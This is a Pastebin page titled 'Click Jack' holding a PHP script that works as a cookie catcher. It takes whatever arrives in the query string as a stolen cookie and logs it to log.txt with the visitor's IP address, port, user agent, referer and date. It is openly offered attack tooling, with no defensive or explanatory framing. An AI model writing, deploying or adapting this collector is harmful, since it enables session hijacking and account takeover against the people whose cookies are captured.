Advertisement
P22DX

Click Jack

Feb 27th, 2018
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.48 KB | None | 0 0
  1. <?php
  2. function GetIP() {
  3.  if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  4.  $ip = getenv("HTTP_CLIENT_IP");
  5.  else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  6.  $ip = getenv("HTTP_X_FORWARDED_FOR");
  7.  else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  8.  $ip = getenv("REMOTE_ADDR");
  9.  else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  10.  $ip = $_SERVER['REMOTE_ADDR'];
  11.  else
  12.  $ip = "unknown";
  13.  return($ip);
  14. }
  15.  
  16. function logData() {
  17.  $ipLog="log.txt";
  18.  $cookie = $_SERVER['QUERY_STRING'];
  19.  $register_globals = (bool) ini_get('register_gobals');
  20.  if ($register_globals) $ip = getenv('REMOTE_ADDR');
  21.  else $ip = GetIP();
  22.  
  23. $rem_port = $_SERVER['REMOTE_PORT'];
  24.  $user_agent = $_SERVER['HTTP_USER_AGENT'];
  25.  $rqst_method = $_SERVER['METHOD'];
  26.  $rem_host = $_SERVER['REMOTE_HOST'];
  27.  $referer = $_SERVER['HTTP_REFERER'];
  28.  $date=date ("l dS of F Y h:i:s A");
  29.  $log=fopen("$ipLog", "a+");
  30.  
  31. if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
  32.  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
  33.  else
  34.  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
  35.  fclose($log);
  36. }
  37. logData();
  38. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement